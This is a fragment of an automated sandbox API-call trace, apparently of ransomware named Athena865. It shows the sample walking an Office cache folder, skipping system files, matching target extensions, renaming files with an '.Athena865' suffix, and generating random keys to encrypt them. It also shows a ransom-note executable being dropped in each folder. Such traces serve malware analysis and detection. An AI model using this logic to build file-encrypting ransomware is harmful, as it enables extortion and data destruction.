(lpString="vvv") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0105.447] lstrlenW (lpString="wdb") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0105.448] lstrlenW (lpString="wmdb") returned 4 [0105.448] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0105.448] lstrlenW (lpString="wrk") returned 3 [0105.448] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0105.448] lstrlenW (lpString="xdb") returned 3 [0105.448] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0105.448] lstrlenW (lpString="xld") returned 3 [0105.448] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0105.448] lstrlenW (lpString="xmlff") returned 5 [0105.448] lstrcmpiW (lpString1="f.msi", lpString2="xmlff") returned -1 [0105.448] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.Athena865") returned 91 [0105.448] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.athena865"), dwFlags=0x1) returned 1 [0105.449] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.449] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=875520) returned 1 [0105.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.450] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.450] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.450] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.451] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd5f00, lpName=0x0) returned 0x154 [0105.455] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd5f00) returned 0x2d50000 [0105.490] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.491] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.491] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.492] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0105.499] CloseHandle (hObject=0x154) returned 1 [0105.499] CloseHandle (hObject=0x17c) returned 1 [0105.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.503] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2=".") returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="..") returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="windows") returned -1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="bootmgr") returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="temp") returned -1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="pagefile.sys") returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="boot") returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="ids.txt") returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="ntuser.dat") returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="perflogs") returned 1 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2="MSBuild") returned 1 [0105.503] lstrlenW (lpString="Proof.xml") returned 9 [0105.503] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Proof.xml" | out: lpString1="Proof.xml") returned="Proof.xml" [0105.503] lstrlenW (lpString="Proof.xml") returned 9 [0105.503] lstrlenW (lpString="Athena865") returned 9 [0105.503] lstrlenW (lpString=".dll") returned 4 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2=".dll") returned 1 [0105.503] lstrlenW (lpString=".lnk") returned 4 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2=".lnk") returned 1 [0105.503] lstrlenW (lpString=".ini") returned 4 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2=".ini") returned 1 [0105.503] lstrlenW (lpString=".sys") returned 4 [0105.503] lstrcmpiW (lpString1="Proof.xml", lpString2=".sys") returned 1 [0105.504] lstrlenW (lpString="Proof.xml") returned 9 [0105.504] lstrlenW (lpString="bak") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0105.504] lstrlenW (lpString="ba_") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0105.504] lstrlenW (lpString="dbb") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0105.504] lstrlenW (lpString="vmdk") returned 4 [0105.504] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0105.504] lstrlenW (lpString="rar") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0105.504] lstrlenW (lpString="zip") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0105.504] lstrlenW (lpString="tgz") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0105.504] lstrlenW (lpString="vbox") returned 4 [0105.504] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0105.504] lstrlenW (lpString="vdi") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0105.504] lstrlenW (lpString="vhd") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0105.504] lstrlenW (lpString="vhdx") returned 4 [0105.504] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0105.504] lstrlenW (lpString="avhd") returned 4 [0105.504] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0105.504] lstrlenW (lpString="db") returned 2 [0105.504] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0105.504] lstrlenW (lpString="db2") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0105.504] lstrlenW (lpString="db3") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0105.504] lstrlenW (lpString="dbf") returned 3 [0105.504] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0105.504] lstrlenW (lpString="mdf") returned 3 [0105.505] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0105.505] lstrlenW (lpString="mdb") returned 3 [0105.505] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0105.505] lstrlenW (lpString="sql") returned 3 [0105.505] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0105.505] lstrlenW (lpString="sqlite") returned 6 [0105.505] lstrcmpiW (lpString1="of.xml", lpString2="sqlite") returned -1 [0105.505] lstrlenW (lpString="sqlite3") returned 7 [0105.505] lstrcmpiW (lpString1="oof.xml", lpString2="sqlite3") returned -1 [0105.505] lstrlenW (lpString="sqlitedb") returned 8 [0105.505] lstrcmpiW (lpString1="roof.xml", lpString2="sqlitedb") returned -1 [0105.505] lstrlenW (lpString="xml") returned 3 [0105.505] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0105.505] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.Athena865") returned 91 [0105.505] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.athena865"), dwFlags=0x1) returned 1 [0105.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.506] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1347) returned 1 [0105.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.507] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.507] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.507] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.507] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x850, lpName=0x0) returned 0x154 [0105.509] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x850) returned 0x100000 [0105.510] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.510] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.510] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.511] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0105.511] CloseHandle (hObject=0x154) returned 1 [0105.511] CloseHandle (hObject=0x17c) returned 1 [0105.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.511] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0105.511] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0105.512] ReleaseMutex (hMutex=0xec) returned 1 [0105.512] CloseHandle (hObject=0xec) returned 1 [0105.512] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" [0105.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533018 | out: hHeap=0x4f0000) returned 1 [0105.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f568 | out: hHeap=0x4f0000) returned 1 [0105.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned 71 [0105.512] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\83821CC11B99DB26D7DF9042122486DE") returned 0xec [0105.512] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0105.512] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" [0105.512] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0105.512] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\how to back your files.exe"), bFailIfExists=1) returned 0 [0105.512] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0105.513] GetLastError () returned 0x0 [0105.513] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0105.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54bd40 [0105.513] ReadFile (in: hFile=0xf4, lpBuffer=0x54bd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54bd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0105.514] CloseHandle (hObject=0xf4) returned 1 [0105.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.514] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0105.514] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc930b5c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc930b5c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0105.514] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.514] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0105.514] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0105.514] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc930b5c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc930b5c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.514] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.514] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0105.514] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0105.514] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0105.514] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc930b5c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc930b5c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0105.514] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0105.514] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0105.514] lstrcmpiW (lpString1="Proof.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0105.514] lstrcmpiW (lpString1="Proof.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.514] lstrcmpiW (lpString1="Proof.cab", lpString2=".") returned 1 [0105.514] lstrcmpiW (lpString1="Proof.cab", lpString2="..") returned 1 [0105.514] lstrcmpiW (lpString1="Proof.cab", lpString2="windows") returned -1 [0105.514] lstrcmpiW (lpString1="Proof.cab", lpString2="bootmgr") returned 1 [0105.514] lstrcmpiW (lpString1="Proof.cab", lpString2="temp") returned -1 [0105.514] lstrcmpiW (lpString1="Proof.cab", lpString2="pagefile.sys") returned 1 [0105.515] lstrcmpiW (lpString1="Proof.cab", lpString2="boot") returned 1 [0105.515] lstrcmpiW (lpString1="Proof.cab", lpString2="ids.txt") returned 1 [0105.515] lstrcmpiW (lpString1="Proof.cab", lpString2="ntuser.dat") returned 1 [0105.515] lstrcmpiW (lpString1="Proof.cab", lpString2="perflogs") returned 1 [0105.515] lstrcmpiW (lpString1="Proof.cab", lpString2="MSBuild") returned 1 [0105.515] lstrlenW (lpString="Proof.cab") returned 9 [0105.515] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Proof.cab" | out: lpString1="Proof.cab") returned="Proof.cab" [0105.515] lstrlenW (lpString="Proof.cab") returned 9 [0105.515] lstrlenW (lpString="Athena865") returned 9 [0105.515] lstrlenW (lpString=".dll") returned 4 [0105.515] lstrcmpiW (lpString1="Proof.cab", lpString2=".dll") returned 1 [0105.515] lstrlenW (lpString=".lnk") returned 4 [0105.515] lstrcmpiW (lpString1="Proof.cab", lpString2=".lnk") returned 1 [0105.515] lstrlenW (lpString=".ini") returned 4 [0105.515] lstrcmpiW (lpString1="Proof.cab", lpString2=".ini") returned 1 [0105.515] lstrlenW (lpString=".sys") returned 4 [0105.515] lstrcmpiW (lpString1="Proof.cab", lpString2=".sys") returned 1 [0105.515] lstrlenW (lpString="Proof.cab") returned 9 [0105.515] lstrlenW (lpString="bak") returned 3 [0105.515] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0105.515] lstrlenW (lpString="ba_") returned 3 [0105.515] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0105.515] lstrlenW (lpString="dbb") returned 3 [0105.515] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0105.515] lstrlenW (lpString="vmdk") returned 4 [0105.515] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0105.515] lstrlenW (lpString="rar") returned 3 [0105.515] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0105.515] lstrlenW (lpString="zip") returned 3 [0105.515] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0105.515] lstrlenW (lpString="tgz") returned 3 [0105.515] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0105.515] lstrlenW (lpString="vbox") returned 4 [0105.516] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0105.516] lstrlenW (lpString="vdi") returned 3 [0105.516] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0105.516] lstrlenW (lpString="vhd") returned 3 [0105.516] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0105.516] lstrlenW (lpString="vhdx") returned 4 [0105.516] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0105.516] lstrlenW (lpString="avhd") returned 4 [0105.516] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0105.516] lstrlenW (lpString="db") returned 2 [0105.516] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0105.516] lstrlenW (lpString="db2") returned 3 [0105.516] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0105.516] lstrlenW (lpString="db3") returned 3 [0105.516] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0105.516] lstrlenW (lpString="dbf") returned 3 [0105.516] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0105.516] lstrlenW (lpString="mdf") returned 3 [0105.516] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0105.516] lstrlenW (lpString="mdb") returned 3 [0105.516] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0105.516] lstrlenW (lpString="sql") returned 3 [0105.516] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0105.516] lstrlenW (lpString="sqlite") returned 6 [0105.516] lstrcmpiW (lpString1="of.cab", lpString2="sqlite") returned -1 [0105.516] lstrlenW (lpString="sqlite3") returned 7 [0105.516] lstrcmpiW (lpString1="oof.cab", lpString2="sqlite3") returned -1 [0105.516] lstrlenW (lpString="sqlitedb") returned 8 [0105.516] lstrcmpiW (lpString1="roof.cab", lpString2="sqlitedb") returned -1 [0105.516] lstrlenW (lpString="xml") returned 3 [0105.516] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0105.516] lstrlenW (lpString="$er") returned 3 [0105.516] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0105.516] lstrlenW (lpString="4dd") returned 3 [0105.517] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0105.517] lstrlenW (lpString="4dl") returned 3 [0105.517] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0105.517] lstrlenW (lpString="^^^") returned 3 [0105.517] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0105.517] lstrlenW (lpString="abs") returned 3 [0105.517] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0105.517] lstrlenW (lpString="abx") returned 3 [0105.517] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0105.517] lstrlenW (lpString="accdb") returned 5 [0105.517] lstrcmpiW (lpString1="f.cab", lpString2="accdb") returned 1 [0105.517] lstrlenW (lpString="accdc") returned 5 [0105.517] lstrcmpiW (lpString1="f.cab", lpString2="accdc") returned 1 [0105.517] lstrlenW (lpString="accde") returned 5 [0105.517] lstrcmpiW (lpString1="f.cab", lpString2="accde") returned 1 [0105.517] lstrlenW (lpString="accdr") returned 5 [0105.517] lstrcmpiW (lpString1="f.cab", lpString2="accdr") returned 1 [0105.517] 